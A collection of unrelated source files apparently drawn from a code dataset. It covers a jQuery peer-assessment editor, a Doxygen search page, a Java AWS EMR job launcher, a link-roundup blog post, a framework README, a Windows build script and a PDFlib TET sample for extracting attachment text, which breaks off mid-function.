for(var i = 0; i < aBatchEditor.editors.length; i++) {
var editor = aBatchEditor.editors[i];
var content = editor.content;
var to = editor.participantId;
if(to == g_loggedInUser.id) continue;
var assessment = createAssessment(content, to);
assessments.push(assessment);
}
if (assessments.length == 0) return;
var params = {};
var token = $.cookie(g_keyToken);
params[g_keyToken] = token;
params[g_keyActivityId] = aActivity.id;
params[g_keyBundle] = JSON.stringify(assessments);
var aButton = $(this);
disableField(aButton);
$.ajax({
type: "POST",
url: "/assessment/submit",
data: params,
success: function(data, status, xhr){
enableField(aButton);
if (isTokenExpired(data)) {
logout(null);
return;
}
alert(ALERTS["assessment_submitted"]);
aActivity.relation |= assessed;
refreshBatchEditor(aActivity);
},
error: function(xhr, status, err){
enableField(aButton);
alert(ALERTS["assessment_not_submitted"]);
}
});
}).appendTo(row);
disableField(g_btnSubmit);
}
function generateBatchAssessmentEditor(par, activity, onRefresh){
par.empty();
if(g_onRefresh == null) g_onRefresh = onRefresh;
g_lockedCount = 0; // clear lock count on batch editor generated
g_batchAssessmentEditor = new BatchAssessmentEditor();
if(activity == null) return g_batchAssessmentEditor;
var editors = [];
var sectionAll = $('<div>', {
"class": "assessment-container"
}).appendTo(par);
var initVal = false;
var disabled = false;
// Determine attendance switch initial state based on viewer-activity-relation
if (g_loggedInUser != null && activity.host.id == g_loggedInUser.id) {
// host cannot choose presence
initVal = true;
disabled = true;
} else if((activity.relation & present) > 0) {
// present participants
initVal = true;
} else if((activity.relation & selected) > 0 || (activity.relation & absent) > 0) {
// selected but not present
initVal = false;
} else {
disabled = true;
}
var attendanceSwitch = createBinarySwitch(sectionAll, disabled, initVal, TITLES["assessment_disabled"], TITLES["present"], TITLES["absent"], "switch-attendance");
g_sectionAssessmentEditors = $('<div>', {
style: "margin-top: 5pt"
}).appendTo(sectionAll);
g_sectionAssessmentButtons = $('<div>', {
style: "margin-top: 5pt"
}).appendTo(sectionAll);
if( g_loggedInUser != null && ( ((activity.relation & present) > 0) || (activity.containsRelation() == false) ) ) {
/*
* show list for logged-in users
*/
refreshBatchEditor(activity);
}
var onSuccess = function(data){
g_updatingAttendance = false;
// update activity.relation by returned value
var relationJson = data;
activity.relation = parseInt(relationJson[g_keyRelation]);
g_sectionAssessmentEditors.empty();
g_sectionAssessmentButtons.empty();
var value = getBinarySwitchState(attendanceSwitch);
if(!value) return;
// assessed participants cannot edit or re-submit assessments
refreshBatchEditor(activity);
};
var onError = function(err){
g_updatingAttendance = false;
// reset switch status if updating attendance fails
var value = getBinarySwitchState(attendanceSwitch);
var resetVal = !value;
setBinarySwitch(attendanceSwitch, resetVal);
};
var onClick = function(evt){
evt.preventDefault();
if(activity.relation == invalid) return;
if(!activity.hasBegun()) {
alert(ALERTS["activity_not_begun"]);
return;
}
var value = getBinarySwitchState(attendanceSwitch);
var newVal = !value;
setBinarySwitch(attendanceSwitch, newVal);
attendance = activity.relation;
if(newVal) attendance = present;
else attendance = absent;
updateAttendance(activity.id, attendance, onSuccess, onError);
};
setBinarySwitchOnClick(attendanceSwitch, onClick);
return g_batchAssessmentEditor;
}
function updateAttendance(activityId, attendance, onSuccess, onError){
// prototypes: onSuccess(data), onError(err)
if(g_updatingAttendance) return;
var token = $.cookie(g_keyToken);
if(token == null) return;
var params={};
params[g_keyRelation] = attendance;
params[g_keyToken] = token;
params[g_keyActivityId] = activityId;
g_updatingAttendance = true;
$.ajax({
type: "PUT",
url: "/activity/mark",
data: params,
success: function(data, status, xhr) {
if (isTokenExpired(data)) {
logout(null);
return;
}
onSuccess(data);
},
error: function(xhr, status, err) {
onError(err);
}
});
}
function generateAssessedView(row, participant, activity) {
var btnView = $('<span>', {
text: TITLES["view_assessment"],
style: "display: inline; color: blue; margin-left: 5pt; cursor: pointer"
}).appendTo(row);
btnView.click(function(evt){
evt.preventDefault();
queryAssessmentsAndRefresh(participant.id, activity.id);
});
}
function generateUnassessedView(row, singleEditor, batchEditor) {
var lock = $('<input>', {
type: "checkbox",
"class": "left"
}).appendTo(row);
var contentInput = $('<input>', {
type: 'text'
}).appendTo(row);
contentInput.on("input paste keyup", singleEditor, function(evt){
evt.data.content = $(this).val();
});
lock.change({input: contentInput, editor: batchEditor}, function(evt){
var aInput = evt.data.input;
var aBatchEditor = evt.data.editor;
evt.preventDefault();
var checked = isChecked($(this));
if(!checked) {
enableField(aInput);
--g_lockedCount;
if(g_btnSubmit != null) disableField(g_btnSubmit);
} else {
disableField(aInput);
++g_lockedCount;
if(g_lockedCount >= (aBatchEditor.editors.length - 1) && g_btnSubmit != null) enableField(g_btnSubmit);
}
});
singleEditor.lock = lock;
}
function refreshBatchEditor(activity) {
if (!activity.hasBegun()) return;
if(g_batchAssessmentEditor == null || g_sectionAssessmentEditors == null || g_sectionAssessmentButtons == null) return;
var editors = generateAssessmentEditors(g_sectionAssessmentEditors, activity, g_batchAssessmentEditor);
g_batchAssessmentEditor.editors = editors;
g_sectionAssessmentButtons.empty();
if(!activity.containsRelation() || (activity.containsRelation() && (activity.relation & assessed) > 0) || g_batchAssessmentEditor.editors.length <= 1) return;
generateAssessmentButtons(g_sectionAssessmentButtons, activity, g_batchAssessmentEditor);
}
| Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head><title></title>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<link rel="stylesheet" type="text/css" href="search.css"/>
<script type="text/javascript" src="search.js"></script>
</head>
<body class="SRPage">
<div id="SRIndex">
<div class="SRStatus" id="Loading">Loading...</div>
<div class="SRResult" id="SR_sa_5falarm">
<div class="SREntry">
<a id="Item0" onkeydown="return searchResults.Nav(event,0)" onkeypress="return searchResults.Nav(event,0)" onkeyup="return searchResults.Nav(event,0)" class="SRSymbol" href="../radiotftp_8c.html#a5edba51aeb9384f25d7dc659db848817" target="basefrm">sa_alarm</a>
<span class="SRScope">radiotftp.c</span>
</div>
</div>
<div class="SRResult" id="SR_sa_5fio">
<div class="SREntry">
<a id="Item1" onkeydown="return searchResults.Nav(event,1)" onkeypress="return searchResults.Nav(event,1)" onkeyup="return searchResults.Nav(event,1)" class="SRSymbol" href="../radiotftp_8c.html#abbbcf4205db563bd9d8e3637acc82c38" target="basefrm">sa_io</a>
<span class="SRScope">radiotftp.c</span>
</div>
</div>
<div class="SRResult" id="SR_serialportfd">
<div class="SREntry">
<a id="Item2" onkeydown="return searchResults.Nav(event,2)" onkeypress="return searchResults.Nav(event,2)" onkeyup="return searchResults.Nav(event,2)" class="SRSymbol" href="../radiotftp_8c.html#ad5d8ff630186cb56cbc4b9cb931a5002" target="basefrm">serialportFd</a>
<span class="SRScope">radiotftp.c</span>
</div>
</div>
<div class="SRResult" id="SR_signalcount">
<div class="SREntry">
<a id="Item3" onkeydown="return searchResults.Nav(event,3)" onkeypress="return searchResults.Nav(event,3)" onkeyup="return searchResults.Nav(event,3)" class="SRSymbol" href="../radiotftp_8c.html#a990cc2e56a8f075b041b75a912823e94" target="basefrm">signalCount</a>
<span class="SRScope">radiotftp.c</span>
</div>
</div>
<div class="SRResult" id="SR_src">
<div class="SREntry">
<a id="Item4" onkeydown="return searchResults.Nav(event,4)" onkeypress="return searchResults.Nav(event,4)" onkeyup="return searchResults.Nav(event,4)" class="SRSymbol" href="../structmessage__t.html#ac8f22051bbe97a235c19698e9705c362" target="basefrm">src</a>
<span class="SRScope">message_t</span>
</div>
</div>
<div class="SRResult" id="SR_src_5fport">
<div class="SREntry">
<a id="Item5" onkeydown="return searchResults.Nav(event,5)" onkeypress="return searchResults.Nav(event,5)" onkeyup="return searchResults.Nav(event,5)" class="SRSymbol" href="../structmessage__t.html#ae11b6a0645157c8c75790f7c541fcaed" target="basefrm">src_port</a>
<span class="SRScope">message_t</span>
</div>
</div>
<div class="SRResult" id="SR_syncword">
<div class="SREntry">
<a id="Item6" onkeydown="return searchResults.Nav(event,6)" onkeypress="return searchResults.Nav(event,6)" onkeyup="return searchResults.Nav(event,6)" class="SRSymbol" href="../radiotftp_8c.html#a96d3c0f4106cb573e5ef72eb3fabc438" target="basefrm">syncword</a>
<span class="SRScope">radiotftp.c</span>
</div>
</div>
<div class="SRStatus" id="Searching">Searching...</div>
<div class="SRStatus" id="NoMatches">No Matches</div>
<script type="text/javascript"><!--
document.getElementById("Loading").style.display="none";
document.getElementById("NoMatches").style.display="none";
var searchResults = new SearchResults("searchResults");
searchResults.Search();
--></script>
</div>
</body>
</html>
| Java |
package edu.purdue.eaps.weatherpipe;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Calendar;
import java.util.Date;
import java.util.List;
import java.util.TimeZone;
import java.lang.System;
import java.lang.Runtime;
import org.apache.commons.io.FileUtils;
import org.apache.log4j.PropertyConfigurator;
import com.amazonaws.AmazonClientException;
import com.amazonaws.AmazonServiceException;
import com.amazonaws.ClientConfiguration;
import com.amazonaws.auth.AWSCredentials;
import com.amazonaws.auth.profile.ProfileCredentialsProvider;
import com.amazonaws.event.ProgressEvent;
import com.amazonaws.event.ProgressListener;
import com.amazonaws.regions.Region;
import com.amazonaws.regions.Regions;
import com.amazonaws.services.elasticmapreduce.AmazonElasticMapReduce;
import com.amazonaws.services.elasticmapreduce.AmazonElasticMapReduceClient;
import com.amazonaws.services.elasticmapreduce.model.Cluster;
import com.amazonaws.services.elasticmapreduce.model.DescribeClusterRequest;
import com.amazonaws.services.elasticmapreduce.model.DescribeClusterResult;
import com.amazonaws.services.elasticmapreduce.model.HadoopJarStepConfig;
import com.amazonaws.services.elasticmapreduce.model.JobFlowInstancesConfig;
import com.amazonaws.services.elasticmapreduce.model.RunJobFlowRequest;
import com.amazonaws.services.elasticmapreduce.model.RunJobFlowResult;
import com.amazonaws.services.elasticmapreduce.model.StepConfig;
import com.amazonaws.services.elasticmapreduce.model.TerminateJobFlowsRequest;
import com.amazonaws.services.identitymanagement.AmazonIdentityManagementClient;
import com.amazonaws.services.s3.AmazonS3;
import com.amazonaws.services.s3.AmazonS3Client;
import com.amazonaws.services.s3.model.CreateBucketRequest;
import com.amazonaws.services.s3.model.GetObjectRequest;
import com.amazonaws.services.s3.model.HeadBucketRequest;
import com.amazonaws.services.s3.model.PutObjectRequest;
import com.amazonaws.services.s3.transfer.Download;
import com.amazonaws.services.s3.transfer.MultipleFileDownload;
import com.amazonaws.services.s3.transfer.TransferManager;
import com.amazonaws.services.s3.transfer.Upload;
public class AWSInterface extends MapReduceInterface {
private String jobBucketNamePrefix = "weatherpipe";
private AmazonElasticMapReduce emrClient;
private AmazonS3 s3client;
private TransferManager transMan;
private Region region;
private String jobSetupDirName;
private String jobLogDirName;
//private String defaultInstance = "c3.xlarge";
private String jobBucketName;
private String jobID;
private int bytesTransfered = 0;
public AWSInterface(String job, String bucket){
String weatherPipeBinaryPath = WeatherPipe.class.getProtectionDomain().getCodeSource().getLocation().getPath();
String log4jConfPath = weatherPipeBinaryPath.substring(0, weatherPipeBinaryPath.lastIndexOf("/")) + "/log4j.properties";
PropertyConfigurator.configure(log4jConfPath);
jobBucketName = bucket;
AwsBootstrap(job);
}
private void AwsBootstrap(String job) {
AWSCredentials credentials;
ClientConfiguration conf;
String userID;
MessageDigest md = null;
byte[] shaHash;
StringBuffer hexSha;
DateFormat df;
TimeZone tz;
String isoDate;
File jobDir;
File jobSetupDir;
File jobLogDir;
int i;
conf = new ClientConfiguration();
// 2 minute timeout
conf.setConnectionTimeout(120000);
credentials = new ProfileCredentialsProvider("default").getCredentials();
// TODO: add better credential searching later
region = Region.getRegion(Regions.US_EAST_1);
s3client = new AmazonS3Client(credentials, conf);
s3client.setRegion(region);
transMan = new TransferManager(s3client);
emrClient = new AmazonElasticMapReduceClient(credentials, conf);
emrClient.setRegion(region);
if(jobBucketName == null) {
userID = new AmazonIdentityManagementClient(credentials).getUser().getUser().getUserId();
try {
md = MessageDigest.getInstance("SHA-256");
md.update(userID.getBytes("UTF-8"));
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
shaHash = md.digest();
hexSha = new StringBuffer();
for(byte b : shaHash) {
hexSha.append(String.format("%02X", b));
}
jobBucketName = jobBucketNamePrefix + "." + hexSha;
if(jobBucketName.length() > 63) {
jobBucketName = jobBucketName.substring(0,62);
}
}
jobBucketName = jobBucketName.toLowerCase();
if(job == null) {
tz = TimeZone.getTimeZone("UTC");
df = new SimpleDateFormat("yyyy-MM-dd'T'HH.mm");
df.setTimeZone(tz);
isoDate = df.format(new Date());
jobID = isoDate + "." + Calendar.getInstance().get(Calendar.MILLISECOND);
// UUID Code if date isn't good
// jobID = UUID.randomUUID().toString();
} else {
jobID = job;
}
jobDirName = "WeatherPipeJob" + jobID;
jobDir = new File(jobDirName);
i = 0;
while(jobDir.exists()) {
i++;
jobDirName = jobDirName + "-" + i;
jobDir = new File(jobDirName);
}
jobDir.mkdir();
jobSetupDirName = jobDirName + "/" + "job_setup";
jobSetupDir = new File(jobSetupDirName);
jobSetupDir.mkdir();
jobLogDirName = jobDirName + "/" + "logs";
jobLogDir = new File(jobLogDirName);
jobLogDir.mkdir();
}
private void UploadFileToS3(String jobBucketName, String key, File file) {
Upload upload;
PutObjectRequest request;
request = new PutObjectRequest(
jobBucketName, key, file);
bytesTransfered = 0;
// Subscribe to the event and provide event handler.
request.setGeneralProgressListener(new ProgressListener() {
@Override
public void progressChanged(ProgressEvent progressEvent) {
bytesTransfered += progressEvent.getBytesTransferred();
}
});
System.out.println();
upload = transMan.upload(request);
while(!upload.isDone()) {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
continue;
}
System.out.print("\rTransfered: " + bytesTransfered/1024 + "K / " + file.length()/1024 + "K");
}
// If we got an error the count could be off
System.out.print("\rTransfered: " + bytesTransfered/1024 + "K / " + bytesTransfered/1024 + "K");
System.out.println();
System.out.println("Transfer Complete");
}
public String FindOrCreateWeatherPipeJobDirectory() {
String bucketLocation = null;
try {
if(!(s3client.doesBucketExist(jobBucketName))) {
// Note that CreateBucketRequest does not specify region. So bucket is
// created in the region specified in the client.
s3client.createBucket(new CreateBucketRequest(
jobBucketName));
} else {
s3client.headBucket(new HeadBucketRequest(jobBucketName));
}
bucketLocation = "s3n://" + jobBucketName + "/";
} catch (AmazonServiceException ase) {
if(ase.getStatusCode() == 403) {
System.out.println("You do not have propper permissions to access " + jobBucketName +
". S3 uses a global name space, please make sure you are using a unique bucket name.");
System.exit(1);
} else {
System.out.println("Caught an AmazonServiceException, which " +
"means your request made it " +
"to Amazon S3, but was rejected with an error response" +
" for some reason.");
System.out.println("Error Message: " + ase.getMessage());
System.out.println("HTTP Status Code: " + ase.getStatusCode());
System.out.println("AWS Error Code: " + ase.getErrorCode());
System.out.println("Error Type: " + ase.getErrorType());
System.out.println("Request ID: " + ase.getRequestId());
}
System.exit(1);
} catch (AmazonClientException ace) {
System.out.println("Caught an AmazonClientException, which " +
"means the client encountered " +
"an internal error while trying to " +
"communicate with S3, " +
"such as not being able to access the network.");
System.out.println("Error Message: " + ace.getMessage());
System.exit(1);
}
return bucketLocation;
}
public String UploadInputFileList(ArrayList<String> fileList, String dataDirName) {
String key = jobID + "_input";
String uploadFileString = "";
PrintWriter inputFile = null;
File file = new File(jobSetupDirName + "/" + key);
for (String s : fileList) uploadFileString += dataDirName + " " + s + "\n";
try {
inputFile = new PrintWriter(file);
inputFile.print(uploadFileString);
inputFile.close();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.exit(1);
}
UploadFileToS3(jobBucketName, key, file);
return "s3n://" + jobBucketName + "/" + key;
}
public String UploadMPJarFile(String fileLocation) {
String key = jobID + "WeatherPipeMapreduce.jar";
File jarFile = new File(fileLocation);
UploadFileToS3(jobBucketName, key, jarFile);
try {
FileUtils.copyFile(new File(fileLocation), new File(jobSetupDirName + "/" + key));
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
System.exit(1);
}
return "s3n://" + jobBucketName + "/" + key;
}
public void CreateMRJob(String jobInputLocation, String jobJarLocation, int numInstances, String instanceType) {
// Modified from https://mpouttuclarke.wordpress.com/2011/06/24/how-to-run-an-elastic-mapreduce-job-using-the-java-sdk/
// first run aws emr create-default-roles
String hadoopVersion = "2.4.0";
String flowName = "WeatherPipe_" + jobID;
String logS3Location = "s3n://" + jobBucketName + "/" + jobID + ".log";
String outS3Location = "s3n://" + jobBucketName + "/" + jobID + "_output";
String[] arguments = new String[] {jobInputLocation, outS3Location};
List<String> jobArguments = Arrays.asList(arguments);
DescribeClusterRequest describeClusterRequest = new DescribeClusterRequest();
DescribeClusterResult describeClusterResult;
File rawOutputFile = new File(jobDirName + "/" + jobID + "_raw_map_reduce_output");
File localLogDir = new File(jobLogDirName);
int normalized_hours;
double cost;
long startTimeOfProgram, endTimeOfProgram, elapsedTime;
final String resultId;
String line, lastStateMsg;
StringBuilder jobOutputBuild;
int i;
Download download;
int fileLength;
BufferedReader lineRead;
MultipleFileDownload logDirDownload;
startTimeOfProgram = System.currentTimeMillis();
if(instanceType == null) {
instanceType = "c3.xlarge";
System.out.println("Instance type is set to default: " + instanceType);
System.out.println();
}
try {
// Configure instances to use
JobFlowInstancesConfig instances = new JobFlowInstancesConfig();
System.out.println("Using EMR Hadoop v" + hadoopVersion);
instances.setHadoopVersion(hadoopVersion);
System.out.println("Using instance count: " + numInstances);
instances.setInstanceCount(numInstances);
System.out.println("Using master instance type: " + instanceType);
instances.setMasterInstanceType("c3.xlarge");
// do these need to be different??
System.out.println("Using slave instance type: " + instanceType);
instances.setSlaveInstanceType(instanceType);
// Configure the job flow
System.out.println("Configuring flow: " + flowName);
RunJobFlowRequest request = new RunJobFlowRequest(flowName, instances);
System.out.println("\tusing log URI: " + logS3Location);
request.setLogUri(logS3Location);
request.setServiceRole("EMR_DefaultRole");
request.setAmiVersion("3.1.0");
// this may change for some people
request.setJobFlowRole("EMR_EC2_DefaultRole");
System.out.println("\tusing jar URI: " + jobJarLocation);
HadoopJarStepConfig jarConfig = new HadoopJarStepConfig(jobJarLocation);
System.out.println("\tusing args: " + jobArguments);
jarConfig.setArgs(jobArguments);
StepConfig stepConfig =
new StepConfig(jobJarLocation.substring(jobJarLocation.indexOf('/') + 1),
jarConfig);
request.setSteps(Arrays.asList(new StepConfig[] { stepConfig }));
System.out.println("Configured hadoop jar succesfully!\n");
//Run the job flow
RunJobFlowResult result = emrClient.runJobFlow(request);
System.out.println("Trying to run job flow!\n");
describeClusterRequest.setClusterId(result.getJobFlowId());
resultId = result.getJobFlowId();
//Check the status of the running job
String lastState = "";
Runtime.getRuntime().addShutdownHook(new Thread() {public void run()
{ List<String> jobIds = new ArrayList<String>();
jobIds.add(resultId);
TerminateJobFlowsRequest tjfr = new TerminateJobFlowsRequest(jobIds);
emrClient.terminateJobFlows(tjfr);
System.out.println();
System.out.println("Amazon EMR job shutdown");
}});
while (true)
{
describeClusterResult = emrClient.describeCluster(describeClusterRequest);
Cluster cluster = describeClusterResult.getCluster();
lastState = cluster.getStatus().getState();
lastStateMsg = "\rCurrent State of Cluster: " + lastState;
System.out.print(lastStateMsg + " ");
if(!lastState.startsWith("TERMINATED")) {
lastStateMsg = lastStateMsg + " ";
for(i = 0; i < 10; i++) {
lastStateMsg = lastStateMsg + ".";
System.out.print(lastStateMsg);
Thread.sleep(1000);
}
continue;
} else {
lastStateMsg = lastStateMsg + " ";
System.out.print(lastStateMsg);
}
// it reaches here when the emr has "terminated"
normalized_hours = cluster.getNormalizedInstanceHours();
cost = normalized_hours * 0.011;
endTimeOfProgram = System.currentTimeMillis(); // returns milliseconds
elapsedTime = (endTimeOfProgram - startTimeOfProgram)/(1000);
logDirDownload = transMan.downloadDirectory(jobBucketName, jobID + ".log", localLogDir);
while(!logDirDownload.isDone()) {
Thread.sleep(1000);
}
System.out.println();
if(!lastState.endsWith("ERRORS")) {
bytesTransfered = 0;
fileLength = (int)s3client.getObjectMetadata(jobBucketName, jobID + "_output" + "/part-r-00000").getContentLength();
GetObjectRequest fileRequest = new GetObjectRequest(jobBucketName, jobID + "_output" + "/part-r-00000");
fileRequest.setGeneralProgressListener(new ProgressListener() {
@Override
public void progressChanged(ProgressEvent progressEvent) {
bytesTransfered += progressEvent.getBytesTransferred();
}
});
download = transMan.download(new GetObjectRequest(jobBucketName, jobID + "_output" + "/part-r-00000"), rawOutputFile);
System.out.println("Downloading Output");
while(!download.isDone()) {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
continue;
}
// System.out.print("\rTransfered: " + bytesTransfered/1024 + "K / " + fileLength/1024 + "K ");
}
/* Printing this stuff isn't working
// If we got an error the count could be off
System.out.print("\rTransfered: " + bytesTransfered/1024 + "K / " + bytesTransfered/1024 + "K ");
System.out.println();
*/
System.out.println("Transfer Complete");
System.out.println("The job has ended and output has been downloaded to " + jobDirName);
System.out.printf("Normalized instance hours: %d\n", normalized_hours);
System.out.printf("Approximate cost of this run: $%2.02f\n", cost);
System.out.println("The job took " + elapsedTime + " seconds to finish" );
lineRead = new BufferedReader(new FileReader(rawOutputFile));
jobOutputBuild = new StringBuilder("");
while((line = lineRead.readLine()) != null) {
if(line.startsWith("Run#")) {
jobOutputBuild = new StringBuilder("");
jobOutputBuild.append(line.split("\t")[1]);
} else {
jobOutputBuild.append("\n");
jobOutputBuild.append(line);
}
}
jobOutput = jobOutputBuild.toString();
break;
}
jobOutput = "FAILED";
System.out.println("The job has ended with errors, please check the log in " + localLogDir);
System.out.printf("Normalized instance hours: %d\n", normalized_hours);
System.out.printf("Approximate cost of this run = $%2.02f\n", cost);
System.out.println("The job took " + elapsedTime + " seconds to finish" );
break;
}
} catch (AmazonServiceException ase) {
System.out.println("Caught Exception: " + ase.getMessage());
System.out.println("Reponse Status Code: " + ase.getStatusCode());
System.out.println("Error Code: " + ase.getErrorCode());
System.out.println("Request ID: " + ase.getRequestId());
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public void addJobBucketName (String jobBucketName){
this.jobBucketName = jobBucketName;
}
protected void close() {
transMan.shutdownNow();
}
}
| Java |
---
layout: post
title: Any code of your own that you haven't looked at for six or more months might as well have been written by someone else. (Eagleson's law)
category: week
tags: [c++, python, versioning, javascript, bash, windows, programming, ping-pong, spotify, engineering]
---
## Top Pick
* Spotify Engineering Culture. [part 1](https://vimeo.com/85490944) - [part 2](https://vimeo.com/94950270)
## Software
* [C++ Has Become More Pythonic](http://preshing.com/20141202/cpp-has-become-more-pythonic/)
* [Why is processing a sorted array faster than an unsorted array?](http://stackoverflow.com/questions/11227809/why-is-processing-a-sorted-array-faster-than-an-unsorted-array?rq=1)
* [Release and Versioning Changes](http://blog.jetbrains.com/blog/2016/03/09/jetbrains-toolbox-release-and-versioning-changes/)
* [The Programmer Competency Matrix](http://sijinjoseph.com/programmer-competency-matrix/)
* [A Taste of JavaScript’s New Parallel Primitives](https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/)
* [Windows Subsystem for Linux Overview - Bash on Windows](https://blogs.msdn.microsoft.com/wsl/2016/04/22/windows-subsystem-for-linux-overview/)
## Stuff
* [Putting the Tesla HEPA Filter and Bioweapon Defense Mode to the Test](https://www.teslamotors.com/blog/putting-tesla-hepa-filter-and-bioweapon-defense-mode-to-the-test)
* [Plummeting Ping-Pong-Table Sales Are the Latest Sign That Silicon Valley Is in Trouble](http://www.vanityfair.com/news/2016/05/plummeting-ping-pong-table-sales-are-the-latest-sign-that-silicon-valley-is-in-trouble) | Java |
fluency
=======
An HTML, CSS, and Javascript framework for interactive video produced <a href="http://interactivedocs.com" target="_blank">Interactive Docs</a>.
Check out the <a href="http://interactivedocs.com/fluency.html" target="_blank">documentation</a> on our website.
To run locally [npm](https://www.npmjs.org): `npm start`.
<h3>Road map</h3>
The first hackathon on October 18th was hugely successful! We now have the foundation for an interactive video framework. Feel free to submit pull-requests with additional features, but we're currently refactoring all the code that was merged into a more intuitive structure, restyling the components to match the visual style of Fluency, and adding additional functionality to the framework.
We have an internal feature wish list that we'll share once we push this initial refactor to the repo. The subsequent feature set will include (but is not limited to!) screen transitions, parallax, and a wizard for webvtt.
More hack days to come!
| Java |
del *.exe
del *.obj
call "%VS140COMNTOOLS%\..\..\VC\bin\vcvars32.bat"
cl /D _CONSOLE /W4 /O2 calc-ram.cpp
| Java |
/* $Id: get_attachments.c,v 1.13 2015/07/20 10:35:53 tm Exp $
*
* PDFlib TET sample application.
*
* PDF text extractor which also searches PDF file attachments.
* The file attachments may be attached to the document or
* to page-level annotations of type FileAttachment. The former construct
* also covers PDF 1.7 packages (a.k.a. PDF collections).
*
* Nested attachments (file attachments within file attachments,
* or nested PDF packages) all embedded files are processed recursively.
*/
#include <stdio.h>
#include <string.h>
#include "tetlib.h"
/* global option list */
static const char *globaloptlist =
"searchpath={{../data} "
"{../../../resource/cmap}}";
/* document-specific option list */
static const char *docoptlist = "";
/* page-specific option list */
static const char *pageoptlist = "granularity=page";
/* separator to emit after each chunk of text. This depends on the
* application's needs; for granularity=word a space character may be useful.
*/
#define SEPARATOR "\n"
/* Extract text from a document for which a TET handle is already available */
static void
extract_text(TET *tet, int doc, FILE *outfp)
{
int n_pages;
volatile int pageno = 0;
/* get number of pages in the document */
n_pages = (int) TET_pcos_get_number(tet, doc, "length:pages");
/* loop over all pages */
for (pageno = 1; pageno <= n_pages; ++pageno)
{
const char *text;
int page;
int len;
page = TET_open_page(tet, doc, pageno, pageoptlist);
if (page == -1)
{
fprintf(stderr, "Error %d in %s() on page %d: %s\n",
TET_get_errnum(tet), TET_get_apiname(tet), pageno,
TET_get_errmsg(tet));
continue; /* try next page */
}
/* Retrieve all text fragments; This loop is actually not required
* for granularity=page, but must be used for other granularities.
*/
while ((text = TET_get_text(tet, page, &len)) != 0)
{
fprintf(outfp, "%s", text); /* print the retrieved text */
/* print a separator between chunks of text */
fprintf(outfp, SEPARATOR);
}
if (TET_get_errnum(tet) != 0)
{
fprintf(stderr, "Error %d in %s() on page %d: %s\n",
TET_get_errnum(tet), TET_get_apiname(tet), pageno,
TET_get_errmsg(tet));
}
TET_close_page(tet, page);
}
}
/* Open a named physical or virtual file, extract the text from it,
search for document or page attachments, and process these recursively.
Either filename must be supplied for physical files, or data+length
from which a virtual file will be created.
The caller cannot create the PVF file since we create a new TET object
here in case an exception happens with the embedded document - the
caller can happily continue with his TET object even in case of an
exception here.
*/
static int
process_document(FILE *outfp, const char *filename, const char *realname,
const unsigned char *data, int length)
{
TET *tet;
if ((tet = TET_new()) == (TET *) 0)
{
fprintf(stderr, "extractor: out of memory\n");
return(4);
}
TET_TRY (tet)
{
const char *pvfname = "/pvf/attachment";
int doc;
int file, filecount;
int page, pagecount;
const unsigned char *attdata;
int attlength;
int objtype;
/* Construct a PVF file if data instead of a filename was provided */
if (!filename)
{
TET_create_pvf(tet, pvfname, 0, data, length, "");
filename = pvfname;
}
TET_set_option(tet, globaloptlist);
doc = TET_open_document(tet, filename, 0, docoptlist);
if (doc == -1)
{
fprintf(stderr,
"Error %d in %s() (source: attachment '%s'): %s\n",
TET_get_errnum(tet), TET_get_apiname(tet),
realname, TET_get_errmsg(tet));
TET_EXIT_TRY(tet);
TET_delete(tet);
return(5);
}
/* -------------------- Extract the document's own page contents */
extract_text(tet, doc, outfp);
/* -------------------- Process all document-level file attachments */
/* Get the number of document-level file attachments. */
filecount = (int) TET_pcos_get_number(tet, doc,
"length:names/EmbeddedFiles");
for (file = 0; file < filecount; file++)
{
const char *attname;
/* fetch the name of the file attachment; check for Unicode file
* name (a PDF 1.7 feature)
*/
objtype = (int) TET_pcos_get_number(tet, doc,
"type:names/EmbeddedFiles[%d]/UF", file);
if (objtype == pcos_ot_string)
{
attname = TET_pcos_get_string(tet, doc,
"names/EmbeddedFiles[%d]/UF", file);
}
else {
/* fetch the name of the file attachment */
objtype = (int) TET_pcos_get_number(tet, doc,
"type:names/EmbeddedFiles[%d]/F", file);
if (objtype == pcos_ot_string)
{
attname = TET_pcos_get_string(tet, doc,
"names/EmbeddedFiles[%d]/F", file);
}
else
{
attname = "(unnamed)";
}
}
fprintf(outfp, "\n----- File attachment '%s':\n", attname);
/* fetch the contents of the file attachment and process it */
objtype = (int) TET_pcos_get_number(tet, doc,
"type:names/EmbeddedFiles[%d]/EF/F", file);
if (objtype == pcos_ot_stream)
{
attdata = TET_pcos_get_stream(tet, doc, &attlength, "",
"names/EmbeddedFiles[%d]/EF/F", file);
(void) process_document(outfp, 0, attname, attdata, attlength);
}
}
/* -------------------- Process all page-level file attachments */
pagecount = (int) TET_pcos_get_number(tet, doc, "length:pages");
/* Check all pages for annotations of type FileAttachment */
for (page = 0; page < pagecount; page++)
{
int annot, annotcount;
annotcount = (int) TET_pcos_get_number(tet, doc,
"length:pages[%d]/Annots", page);
for (annot = 0; annot < annotcount; annot++)
{
const char *val;
char attname[128];
val = TET_pcos_get_string(tet, doc,
"pages[%d]/Annots[%d]/Subtype", page, annot);
sprintf(attname, "page %d, annotation %d", page+1, annot+1);
if (!strcmp(val, "FileAttachment"))
{
/* fetch the contents of the attachment and process it */
objtype = (int) TET_pcos_get_number(tet, doc,
"type:pages[%d]/Annots[%d]/FS/EF/F", page, annot);
if (objtype == pcos_ot_stream)
{
